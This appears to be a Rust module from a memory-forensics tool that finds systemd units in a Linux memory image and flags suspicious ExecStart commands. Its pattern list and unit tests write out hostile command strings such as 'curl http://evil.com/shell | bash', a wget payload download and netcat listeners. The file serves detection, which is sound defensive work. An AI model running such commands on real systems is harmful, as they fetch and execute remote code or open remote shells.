1use memf_core::object_reader::ObjectReader;
8use memf_format::PhysicalMemoryProvider;
9
10use crate::Result;
11
12const SCAN_CHUNK: usize = 4096;
14
15const EXEC_SEARCH_WINDOW: usize = 512;
17
18#[derive(Debug, Clone)]
20pub struct SystemdUnitInfo {
21 pub unit_name: String,
23 pub exec_start: String,
25 pub vma_start: u64,
27 pub unit_type: String,
29 pub is_suspicious: bool,
31}
32
33const SUSPICIOUS_EXEC_PATTERNS: &[&str] = &[
35 "/tmp/",
36 "/dev/shm/",
37 "/var/tmp/",
38 "curl",
39 "wget",
40 "bash -c",
41 "sh -c",
42 "python",
43 "perl",
44 "ruby",
45 "nc ",
46 "ncat",
47 "base64",
48];
49
50const SAFE_EXEC_PREFIXES: &[&str] = &["/usr/", "/bin/", "/sbin/", "/lib/"];
52
53const KNOWN_SAFE_UNITS: &[&str] = &["systemd-", "NetworkManager", "dbus", "cron", "ssh"];
55
56const UNIT_EXTENSIONS: &[&str] = &[".service", ".timer", ".socket", ".path", ".mount"];
58
59pub fn classify_systemd_unit(unit_name: &str, exec_start: &str) -> bool {
69 if KNOWN_SAFE_UNITS
71 .iter()
72 .any(|prefix| unit_name.starts_with(prefix))
73 {
74 return false;
75 }
76
77 if SAFE_EXEC_PREFIXES
79 .iter()
80 .any(|prefix| exec_start.starts_with(prefix))
81 {
82 return false;
83 }
84
85 if SUSPICIOUS_EXEC_PATTERNS
87 .iter()
88 .any(|pat| exec_start.contains(pat))
89 {
90 return true;
91 }
92
93 let stem = UNIT_EXTENSIONS
95 .iter()
96 .find_map(|ext| unit_name.strip_suffix(ext))
97 .unwrap_or(unit_name);
98 if stem.len() >= 8
99 && stem
100 .chars()
101 .all(|c| c.is_ascii_hexdigit() && !c.is_ascii_uppercase())
102 {
103 return true;
104 }
105
106 false
107}
108
109pub fn walk_systemd_units<P: PhysicalMemoryProvider>(
113 reader: &ObjectReader<P>,
114) -> Result<Vec<SystemdUnitInfo>> {
115 let init_task_addr = match reader.symbols().symbol_address("init_task") {
116 Some(a) => a,
117 None => return Ok(vec![]),
118 };
119
120 let tasks_offset = match reader.symbols().field_offset("task_struct", "tasks") {
121 Some(o) => o,
122 None => return Ok(vec![]),
123 };
124
125 let head_vaddr = init_task_addr + tasks_offset;
126 let task_addrs = reader.walk_list(head_vaddr, "task_struct", "tasks")?;
127
128 let all_tasks = std::iter::once(init_task_addr).chain(task_addrs);
130
131 for task_addr in all_tasks {
132 let pid: u32 = match reader.read_field(task_addr, "task_struct", "pid") {
133 Ok(v) => v,
134 Err(_) => continue,
135 };
136 let comm = reader
137 .read_field_string(task_addr, "task_struct", "comm", 16)
138 .unwrap_or_default();
139
140 if pid == 1 && comm == "systemd" {
142 return Ok(scan_systemd_vmas(reader, task_addr));
143 }
144 }
145
146 Ok(vec![])
147}
148
149fn scan_systemd_vmas<P: PhysicalMemoryProvider>(
151 reader: &ObjectReader<P>,
152 task_addr: u64,
153) -> Vec<SystemdUnitInfo> {
154 let mm_ptr: u64 = match reader.read_field(task_addr, "task_struct", "mm") {
155 Ok(v) => v,
156 Err(_) => return vec![],
157 };
158 if mm_ptr == 0 {
159 return vec![];
160 }
161
162 let mmap_ptr: u64 = match reader.read_field(mm_ptr, "mm_struct", "mmap") {
163 Ok(v) => v,
164 Err(_) => return vec![],
165 };
166
167 let mut findings = Vec::new();
168 let mut vma_addr = mmap_ptr;
169
170 while vma_addr != 0 {
171 let vm_start: u64 = reader
172 .read_field(vma_addr, "vm_area_struct", "vm_start")
173 .unwrap_or(0);
174 let vm_end: u64 = reader
175 .read_field(vma_addr, "vm_area_struct", "vm_end")
176 .unwrap_or(0);
177 let vm_flags: u64 = reader
178 .read_field(vma_addr, "vm_area_struct", "vm_flags")
179 .unwrap_or(0);
180
181 let readable = (vm_flags & 0x1) != 0;
183 let executable = (vm_flags & 0x4) != 0;
184 if readable && !executable && vm_start < vm_end {
185 scan_vma_for_units(reader, vm_start, vm_end, &mut findings);
186 }
187
188 vma_addr = reader
189 .read_field(vma_addr, "vm_area_struct", "vm_next")
190 .unwrap_or(0);
191 }
192
193 findings
194}
195
196fn scan_vma_for_units<P: PhysicalMemoryProvider>(
198 reader: &ObjectReader<P>,
199 vm_start: u64,
200 vm_end: u64,
201 out: &mut Vec<SystemdUnitInfo>,
202) {
203 let mut offset: u64 = 0;
204 let total = vm_end - vm_start;
205
206 while offset < total {
207 let chunk_size = SCAN_CHUNK.min((total - offset) as usize);
208 let chunk_addr = vm_start + offset;
209 let bytes = if let Ok(b) = reader.read_bytes(chunk_addr, chunk_size) {
210 b
211 } else {
212 offset += chunk_size as u64;
213 continue;
214 };
215
216 for ext in UNIT_EXTENSIONS {
218 let ext_bytes = ext.as_bytes();
219 let mut search_start = 0usize;
220 while let Some(pos) = find_subsequence(&bytes[search_start..], ext_bytes) {
221 let abs_pos = search_start + pos;
222 let name_start = find_name_start(&bytes, abs_pos);
224 let name_end = abs_pos + ext_bytes.len();
225 if let Ok(unit_name) = std::str::from_utf8(&bytes[name_start..name_end]) {
226 let unit_name = unit_name.to_string();
227 let unit_type = ext.trim_start_matches('.').to_string();
228
229 let exec_start = find_exec_start(&bytes, abs_pos);
231
232 let is_suspicious = classify_systemd_unit(&unit_name, &exec_start);
233 out.push(SystemdUnitInfo {
234 unit_name,
235 exec_start,
236 vma_start: vm_start,
237 unit_type,
238 is_suspicious,
239 });
240 }
241 search_start = abs_pos + 1;
242 }
243 }
244
245 offset += chunk_size as u64;
246 }
247}
248
249fn find_subsequence(haystack: &[u8], needle: &[u8]) -> Option<usize> {
251 if needle.is_empty() || needle.len() > haystack.len() {
252 return None;
253 }
254 haystack.windows(needle.len()).position(|w| w == needle)
255}
256
257fn find_name_start(bytes: &[u8], pos: usize) -> usize {
260 let mut i = pos;
261 while i > 0 {
262 let c = bytes[i - 1];
263 if c == 0 || c == b'\n' || c == b'\r' || c == b' ' || c == b'\t' || c == b'=' {
264 break;
265 }
266 i -= 1;
267 }
268 i
269}
270
271fn find_exec_start(bytes: &[u8], pos: usize) -> String {
274 let search_start = pos.saturating_sub(EXEC_SEARCH_WINDOW);
275 let search_end = (pos + EXEC_SEARCH_WINDOW).min(bytes.len());
276 let window = &bytes[search_start..search_end];
277
278 let marker = b"ExecStart=";
279 if let Some(idx) = find_subsequence(window, marker) {
280 let value_start = idx + marker.len();
281 let value_bytes = &window[value_start..];
282 let end = value_bytes
283 .iter()
284 .position(|&b| b == 0 || b == b'\n' || b == b'\r')
285 .unwrap_or(value_bytes.len());
286 return String::from_utf8_lossy(&value_bytes[..end]).into_owned();
287 }
288
289 String::new()
290}
291
292#[cfg(test)]
293mod tests {
294 use super::*;
295 use memf_core::test_builders::{flags as ptflags, PageTableBuilder, SyntheticPhysMem};
296 use memf_core::vas::{TranslationMode, VirtualAddressSpace};
297 use memf_symbols::isf::IsfResolver;
298 use memf_symbols::test_builders::IsfBuilder;
299
300 #[test]
305 fn classify_systemd_unit_tmp_exec_suspicious() {
306 assert!(classify_systemd_unit("evil.service", "/tmp/payload.sh"));
307 }
308
309 #[test]
310 fn classify_systemd_unit_curl_exec_suspicious() {
311 assert!(classify_systemd_unit(
312 "updater.service",
313 "curl http://evil.com/shell | bash"
314 ));
315 }
316
317 #[test]
318 fn classify_systemd_unit_usr_bin_not_suspicious() {
319 assert!(!classify_systemd_unit(
320 "myapp.service",
321 "/usr/bin/myapp --daemon"
322 ));
323 }
324
325 #[test]
326 fn classify_systemd_unit_known_service_not_suspicious() {
327 assert!(!classify_systemd_unit(
328 "systemd-journald.service",
329 "/lib/systemd/systemd-journald"
330 ));
331 }
332
333 #[test]
334 fn classify_systemd_unit_randomized_name_suspicious() {
335 assert!(classify_systemd_unit("deadbeef.service", ""));
337 assert!(classify_systemd_unit("cafebabe.service", ""));
338 assert!(!classify_systemd_unit("abc1234.service", "/usr/bin/x"));
340 }
341
342 #[test]
343 fn classify_systemd_unit_devshm_exec_suspicious() {
344 assert!(classify_systemd_unit("loader.service", "/dev/shm/loader"));
345 }
346
347 fn make_minimal_reader_no_init_task() -> ObjectReader<SyntheticPhysMem> {
352 let isf = IsfBuilder::new()
353 .add_struct("task_struct", 64)
354 .add_field("task_struct", "pid", 0, "int")
355 .add_field("task_struct", "tasks", 8, "list_head")
356 .add_struct("list_head", 16)
357 .add_field("list_head", "next", 0, "pointer")
358 .add_field("list_head", "prev", 8, "pointer")
359 .build_json();
360
361 let resolver = IsfResolver::from_value(&isf).unwrap();
362 let (cr3, mem) = PageTableBuilder::new().build();
363 let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
364 ObjectReader::new(vas, Box::new(resolver))
365 }
366
367 #[test]
368 fn walk_systemd_units_missing_init_task_returns_empty() {
369 let reader = make_minimal_reader_no_init_task();
370 let result = walk_systemd_units(&reader).unwrap();
371 assert!(result.is_empty());
372 }
373
374 fn make_reader_no_systemd() -> ObjectReader<SyntheticPhysMem> {
379 let vaddr: u64 = 0xFFFF_8000_0010_0000;
380 let paddr: u64 = 0x0080_0000;
381 let mut data = vec![0u8; 4096];
382
383 data[0..4].copy_from_slice(&2u32.to_le_bytes());
385 let tasks_addr = vaddr + 16;
386 data[16..24].copy_from_slice(&tasks_addr.to_le_bytes());
387 data[24..32].copy_from_slice(&tasks_addr.to_le_bytes());
388 data[32..36].copy_from_slice(b"bash");
389
390 let isf = IsfBuilder::new()
391 .add_struct("task_struct", 128)
392 .add_field("task_struct", "pid", 0, "int")
393 .add_field("task_struct", "tasks", 16, "list_head")
394 .add_field("task_struct", "comm", 32, "char")
395 .add_field("task_struct", "mm", 48, "pointer")
396 .add_struct("list_head", 16)
397 .add_field("list_head", "next", 0, "pointer")
398 .add_field("list_head", "prev", 8, "pointer")
399 .add_struct("mm_struct", 64)
400 .add_field("mm_struct", "mmap", 8, "pointer")
401 .add_struct("vm_area_struct", 64)
402 .add_field("vm_area_struct", "vm_start", 0, "unsigned long")
403 .add_field("vm_area_struct", "vm_end", 8, "unsigned long")
404 .add_field("vm_area_struct", "vm_next", 16, "pointer")
405 .add_field("vm_area_struct", "vm_flags", 24, "unsigned long")
406 .add_symbol("init_task", vaddr)
407 .build_json();
408
409 let resolver = IsfResolver::from_value(&isf).unwrap();
410 let (cr3, mem) = PageTableBuilder::new()
411 .map_4k(vaddr, paddr, ptflags::WRITABLE)
412 .write_phys(paddr, &data)
413 .build();
414 let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
415 ObjectReader::new(vas, Box::new(resolver))
416 }
417
418 #[test]
419 fn walk_systemd_units_no_systemd_process_returns_empty() {
420 let reader = make_reader_no_systemd();
421 let result = walk_systemd_units(&reader).unwrap();
422 assert!(result.is_empty());
423 }
424
425 #[test]
430 fn walk_systemd_units_symbol_present_systemd_mm_null() {
431 let sym_vaddr: u64 = 0xFFFF_8800_0080_0000;
434 let sym_paddr: u64 = 0x0090_0000;
435 let tasks_offset = 16u64;
436
437 let mut page = [0u8; 4096];
438 page[0..4].copy_from_slice(&1u32.to_le_bytes());
440 let list_self = sym_vaddr + tasks_offset;
442 page[tasks_offset as usize..tasks_offset as usize + 8]
443 .copy_from_slice(&list_self.to_le_bytes());
444 page[tasks_offset as usize + 8..tasks_offset as usize + 16]
445 .copy_from_slice(&list_self.to_le_bytes());
446 page[32..39].copy_from_slice(b"systemd");
448 page[48..56].copy_from_slice(&0u64.to_le_bytes());
450
451 let isf = IsfBuilder::new()
452 .add_struct("task_struct", 128)
453 .add_field("task_struct", "pid", 0, "unsigned int")
454 .add_field("task_struct", "tasks", 16, "pointer")
455 .add_field("task_struct", "comm", 32, "char")
456 .add_field("task_struct", "mm", 48, "pointer")
457 .add_struct("mm_struct", 64)
458 .add_field("mm_struct", "mmap", 8, "pointer")
459 .add_symbol("init_task", sym_vaddr)
460 .build_json();
461
462 let resolver = IsfResolver::from_value(&isf).unwrap();
463 let (cr3, mem) = PageTableBuilder::new()
464 .map_4k(sym_vaddr, sym_paddr, ptflags::WRITABLE)
465 .write_phys(sym_paddr, &page)
466 .build();
467 let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
468 let reader = ObjectReader::new(vas, Box::new(resolver));
469
470 let result = walk_systemd_units(&reader).unwrap_or_default();
471 assert!(
472 result.is_empty(),
473 "systemd with mm==NULL should yield no unit findings"
474 );
475 }
476
477 #[test]
482 fn walk_systemd_units_missing_tasks_field_returns_empty() {
483 let isf = IsfBuilder::new()
484 .add_struct("task_struct", 64)
485 .add_field("task_struct", "pid", 0, "int")
486 .add_symbol("init_task", 0xFFFF_8000_0000_0000)
488 .build_json();
489
490 let resolver = IsfResolver::from_value(&isf).unwrap();
491 let (cr3, mem) = PageTableBuilder::new().build();
492 let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
493 let reader = ObjectReader::new(vas, Box::new(resolver));
494
495 let result = walk_systemd_units(&reader).unwrap();
496 assert!(
497 result.is_empty(),
498 "missing tasks field must yield empty result"
499 );
500 }
501
502 #[test]
507 fn find_subsequence_found() {
508 let haystack = b"hello world";
509 let needle = b"world";
510 assert_eq!(find_subsequence(haystack, needle), Some(6));
511 }
512
513 #[test]
514 fn find_subsequence_not_found() {
515 let haystack = b"hello world";
516 let needle = b"xyz";
517 assert_eq!(find_subsequence(haystack, needle), None);
518 }
519
520 #[test]
521 fn find_subsequence_empty_needle_returns_none() {
522 let haystack = b"hello";
523 assert_eq!(find_subsequence(haystack, b""), None);
524 }
525
526 #[test]
527 fn find_subsequence_needle_longer_than_haystack_returns_none() {
528 assert_eq!(find_subsequence(b"hi", b"hello"), None);
529 }
530
531 #[test]
532 fn find_subsequence_at_start() {
533 assert_eq!(find_subsequence(b"abcdef", b"abc"), Some(0));
534 }
535
536 #[test]
541 fn find_name_start_stops_at_nul() {
542 let bytes = b"foo\0bar.service";
543 let pos = 11; let start = find_name_start(bytes, pos);
545 assert_eq!(start, 4);
547 }
548
549 #[test]
550 fn find_name_start_stops_at_equals() {
551 let bytes = b"ExecStart=evil.service";
552 let pos = 18; let start = find_name_start(bytes, pos);
554 assert_eq!(start, 10);
556 }
557
558 #[test]
559 fn find_name_start_stops_at_space() {
560 let bytes = b"Name= evil.service";
561 let pos = 13;
562 let start = find_name_start(bytes, pos);
563 assert_eq!(start, 6);
564 }
565
566 #[test]
567 fn find_name_start_at_beginning_returns_zero() {
568 let bytes = b"evil.service";
569 let start = find_name_start(bytes, 4);
571 assert_eq!(start, 0);
572 }
573
574 #[test]
579 fn find_exec_start_found_in_window() {
580 let mut data = vec![0u8; 1024];
581 let prefix = b"ExecStart=/tmp/evil.sh\n";
582 let marker_pos = 300usize;
583 data[marker_pos..marker_pos + prefix.len()].copy_from_slice(prefix);
584
585 let pos = marker_pos + 400; let result = find_exec_start(&data, pos);
588 assert_eq!(result, "/tmp/evil.sh");
589 }
590
591 #[test]
592 fn find_exec_start_not_found_returns_empty() {
593 let data = vec![b'x'; 1024];
594 let result = find_exec_start(&data, 512);
595 assert!(result.is_empty(), "no ExecStart= → empty string");
596 }
597
598 #[test]
599 fn find_exec_start_terminated_by_nul() {
600 let mut data = vec![0u8; 512];
601 let cmd = b"ExecStart=/bin/sh\x00junk";
602 data[10..10 + cmd.len()].copy_from_slice(cmd);
603 let result = find_exec_start(&data, 200);
604 assert_eq!(result, "/bin/sh");
605 }
606
607 #[test]
612 fn classify_systemd_unit_networkmanager_not_suspicious() {
613 assert!(!classify_systemd_unit(
614 "NetworkManager.service",
615 "/usr/sbin/NetworkManager"
616 ));
617 }
618
619 #[test]
620 fn classify_systemd_unit_dbus_not_suspicious() {
621 assert!(!classify_systemd_unit(
622 "dbus.service",
623 "/usr/bin/dbus-daemon"
624 ));
625 }
626
627 #[test]
628 fn classify_systemd_unit_ssh_not_suspicious() {
629 assert!(!classify_systemd_unit("ssh.service", "/usr/sbin/sshd"));
630 }
631
632 #[test]
633 fn classify_systemd_unit_cron_not_suspicious() {
634 assert!(!classify_systemd_unit("cron.service", "/usr/sbin/cron"));
635 }
636
637 #[test]
638 fn classify_systemd_unit_wget_exec_suspicious() {
639 assert!(classify_systemd_unit(
640 "updater.service",
641 "wget http://evil.com/payload -O /tmp/p"
642 ));
643 }
644
645 #[test]
646 fn classify_systemd_unit_python_exec_suspicious() {
647 assert!(classify_systemd_unit(
648 "runner.service",
649 "python /var/tmp/runner.py"
650 ));
651 }
652
653 #[test]
654 fn classify_systemd_unit_perl_exec_suspicious() {
655 assert!(classify_systemd_unit(
656 "runner.service",
657 "perl -e 'print\"hi\"'"
658 ));
659 }
660
661 #[test]
662 fn classify_systemd_unit_nc_exec_suspicious() {
663 assert!(classify_systemd_unit(
664 "backdoor.service",
665 "nc 10.0.0.1 4444"
666 ));
667 }
668
669 #[test]
670 fn classify_systemd_unit_ncat_exec_suspicious() {
671 assert!(classify_systemd_unit("backdoor.service", "ncat -l 4444"));
672 }
673
674 #[test]
675 fn classify_systemd_unit_base64_exec_suspicious() {
676 assert!(classify_systemd_unit(
677 "backdoor.service",
678 "base64 -d /tmp/p | sh"
679 ));
680 }
681
682 #[test]
683 fn classify_systemd_unit_ruby_exec_suspicious() {
684 assert!(classify_systemd_unit("runner.service", "ruby /tmp/evil.rb"));
685 }
686
687 #[test]
688 fn classify_systemd_unit_var_tmp_exec_suspicious() {
689 assert!(classify_systemd_unit("runner.service", "/var/tmp/payload"));
690 }
691
692 #[test]
693 fn classify_systemd_unit_no_extension_hex_stem_suspicious() {
694 assert!(classify_systemd_unit("deadbeef12", ""));
697 }
698
699 #[test]
700 fn classify_systemd_unit_hex_with_uppercase_not_suspicious() {
701 assert!(!classify_systemd_unit("DEADBEEF.service", "/usr/bin/app"));
703 }
704
705 #[test]
706 fn classify_systemd_unit_sbin_not_suspicious() {
707 assert!(!classify_systemd_unit("myapp.service", "/sbin/myapp"));
708 }
709
710 #[test]
711 fn classify_systemd_unit_lib_not_suspicious() {
712 assert!(!classify_systemd_unit(
713 "myapp.service",
714 "/lib/systemd/myapp"
715 ));
716 }
717
718 #[test]
724 fn walk_systemd_units_scans_readable_vma_for_units() {
725 let task_vaddr: u64 = 0xFFFF_8800_0100_0000;
729 let task_paddr: u64 = 0x00F0_0000;
730 let mm_vaddr: u64 = 0xFFFF_8800_0101_0000;
731 let mm_paddr: u64 = 0x00F1_0000;
732 let vma_vaddr: u64 = 0xFFFF_8800_0102_0000;
733 let vma_paddr: u64 = 0x00F2_0000;
734 let data_vaddr: u64 = 0xFFFF_8800_0103_0000;
736 let data_paddr: u64 = 0x00F3_0000;
737
738 let tasks_offset: u64 = 16;
739
740 let mut task_page = [0u8; 4096];
742 task_page[0..4].copy_from_slice(&1u32.to_le_bytes());
744 let list_self = task_vaddr + tasks_offset;
746 task_page[tasks_offset as usize..tasks_offset as usize + 8]
747 .copy_from_slice(&list_self.to_le_bytes());
748 task_page[tasks_offset as usize + 8..tasks_offset as usize + 16]
749 .copy_from_slice(&list_self.to_le_bytes());
750 task_page[32..39].copy_from_slice(b"systemd");
752 task_page[48..56].copy_from_slice(&mm_vaddr.to_le_bytes());
754
755 let mut mm_page = [0u8; 4096];
757 mm_page[8..16].copy_from_slice(&vma_vaddr.to_le_bytes());
758
759 let mut vma_page = [0u8; 4096];
761 vma_page[0..8].copy_from_slice(&data_vaddr.to_le_bytes()); let data_end = data_vaddr + 4096u64;
763 vma_page[8..16].copy_from_slice(&data_end.to_le_bytes()); vma_page[16..24].copy_from_slice(&0u64.to_le_bytes()); vma_page[24..32].copy_from_slice(&0x1u64.to_le_bytes());
767
768 let mut data_page = [0u8; 4096];
770 let unit = b"evil.service\0";
771 data_page[100..100 + unit.len()].copy_from_slice(unit);
772
773 let isf = IsfBuilder::new()
774 .add_struct("task_struct", 128)
775 .add_field("task_struct", "pid", 0x00u64, "unsigned int")
776 .add_field("task_struct", "tasks", 16u64, "list_head")
777 .add_field("task_struct", "comm", 32u64, "char")
778 .add_field("task_struct", "mm", 48u64, "pointer")
779 .add_struct("list_head", 16)
780 .add_field("list_head", "next", 0x00u64, "pointer")
781 .add_field("list_head", "prev", 0x08u64, "pointer")
782 .add_struct("mm_struct", 64)
783 .add_field("mm_struct", "mmap", 8u64, "pointer")
784 .add_struct("vm_area_struct", 64)
785 .add_field("vm_area_struct", "vm_start", 0x00u64, "unsigned long")
786 .add_field("vm_area_struct", "vm_end", 0x08u64, "unsigned long")
787 .add_field("vm_area_struct", "vm_next", 0x10u64, "pointer")
788 .add_field("vm_area_struct", "vm_flags", 0x18u64, "unsigned long")
789 .add_symbol("init_task", task_vaddr)
790 .build_json();
791 let resolver = IsfResolver::from_value(&isf).unwrap();
792
793 let (cr3, mem) = PageTableBuilder::new()
794 .map_4k(task_vaddr, task_paddr, ptflags::WRITABLE)
795 .write_phys(task_paddr, &task_page)
796 .map_4k(mm_vaddr, mm_paddr, ptflags::WRITABLE)
797 .write_phys(mm_paddr, &mm_page)
798 .map_4k(vma_vaddr, vma_paddr, ptflags::WRITABLE)
799 .write_phys(vma_paddr, &vma_page)
800 .map_4k(data_vaddr, data_paddr, ptflags::WRITABLE)
801 .write_phys(data_paddr, &data_page)
802 .build();
803 let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
804 let reader = ObjectReader::new(vas, Box::new(resolver));
805
806 let result = walk_systemd_units(&reader).unwrap_or_default();
807 assert!(
809 result.iter().any(|u| u.unit_name.contains(".service")),
810 "should detect .service extension in VMA data; got: {:?}",
811 result.iter().map(|u| &u.unit_name).collect::<Vec<_>>()
812 );
813 }
814
815 #[test]
820 fn walk_systemd_units_exec_vma_skipped() {
821 let task_vaddr: u64 = 0xFFFF_8800_0200_0000;
823 let task_paddr: u64 = 0x00F4_0000;
824 let mm_vaddr: u64 = 0xFFFF_8800_0201_0000;
825 let mm_paddr: u64 = 0x00F5_0000;
826 let vma_vaddr: u64 = 0xFFFF_8800_0202_0000;
827 let vma_paddr: u64 = 0x00F6_0000;
828 let data_vaddr: u64 = 0xFFFF_8800_0203_0000;
829 let data_paddr: u64 = 0x00F7_0000;
830
831 let tasks_offset: u64 = 16;
832
833 let mut task_page = [0u8; 4096];
834 task_page[0..4].copy_from_slice(&1u32.to_le_bytes());
835 let list_self = task_vaddr + tasks_offset;
836 task_page[tasks_offset as usize..tasks_offset as usize + 8]
837 .copy_from_slice(&list_self.to_le_bytes());
838 task_page[tasks_offset as usize + 8..tasks_offset as usize + 16]
839 .copy_from_slice(&list_self.to_le_bytes());
840 task_page[32..39].copy_from_slice(b"systemd");
841 task_page[48..56].copy_from_slice(&mm_vaddr.to_le_bytes());
842
843 let mut mm_page = [0u8; 4096];
844 mm_page[8..16].copy_from_slice(&vma_vaddr.to_le_bytes());
845
846 let mut vma_page = [0u8; 4096];
847 vma_page[0..8].copy_from_slice(&data_vaddr.to_le_bytes());
848 vma_page[8..16].copy_from_slice(&(data_vaddr + 4096).to_le_bytes());
849 vma_page[16..24].copy_from_slice(&0u64.to_le_bytes());
850 vma_page[24..32].copy_from_slice(&0x5u64.to_le_bytes());
852
853 let mut data_page = [0u8; 4096];
854 data_page[100..113].copy_from_slice(b"evil.service\0");
855
856 let isf = IsfBuilder::new()
857 .add_struct("task_struct", 128)
858 .add_field("task_struct", "pid", 0x00u64, "unsigned int")
859 .add_field("task_struct", "tasks", 16u64, "list_head")
860 .add_field("task_struct", "comm", 32u64, "char")
861 .add_field("task_struct", "mm", 48u64, "pointer")
862 .add_struct("list_head", 16)
863 .add_field("list_head", "next", 0x00u64, "pointer")
864 .add_field("list_head", "prev", 0x08u64, "pointer")
865 .add_struct("mm_struct", 64)
866 .add_field("mm_struct", "mmap", 8u64, "pointer")
867 .add_struct("vm_area_struct", 64)
868 .add_field("vm_area_struct", "vm_start", 0x00u64, "unsigned long")
869 .add_field("vm_area_struct", "vm_end", 0x08u64, "unsigned long")
870 .add_field("vm_area_struct", "vm_next", 0x10u64, "pointer")
871 .add_field("vm_area_struct", "vm_flags", 0x18u64, "unsigned long")
872 .add_symbol("init_task", task_vaddr)
873 .build_json();
874 let resolver = IsfResolver::from_value(&isf).unwrap();
875
876 let (cr3, mem) = PageTableBuilder::new()
877 .map_4k(task_vaddr, task_paddr, ptflags::WRITABLE)
878 .write_phys(task_paddr, &task_page)
879 .map_4k(mm_vaddr, mm_paddr, ptflags::WRITABLE)
880 .write_phys(mm_paddr, &mm_page)
881 .map_4k(vma_vaddr, vma_paddr, ptflags::WRITABLE)
882 .write_phys(vma_paddr, &vma_page)
883 .map_4k(data_vaddr, data_paddr, ptflags::WRITABLE)
884 .write_phys(data_paddr, &data_page)
885 .build();
886 let vas = VirtualAddressSpace::new(mem, cr3, TranslationMode::X86_64FourLevel);
887 let reader = ObjectReader::new(vas, Box::new(resolver));
888
889 let result = walk_systemd_units(&reader).unwrap_or_default();
890 assert!(
891 result.is_empty(),
892 "executable VMA must not be scanned; found: {:?}",
893 result.iter().map(|u| &u.unit_name).collect::<Vec<_>>()
894 );
895 }
896
897 #[test]
898 fn systemd_unit_info_debug_format() {
899 let info = SystemdUnitInfo {
900 unit_name: "evil.service".to_string(),
901 exec_start: "/tmp/evil.sh".to_string(),
902 vma_start: 0xFFFF_8000_1000_0000,
903 unit_type: "service".to_string(),
904 is_suspicious: true,
905 };
906 let debug = format!("{info:?}");
907 assert!(debug.contains("evil.service"));
908 assert!(debug.contains("is_suspicious: true"));
909 }
910}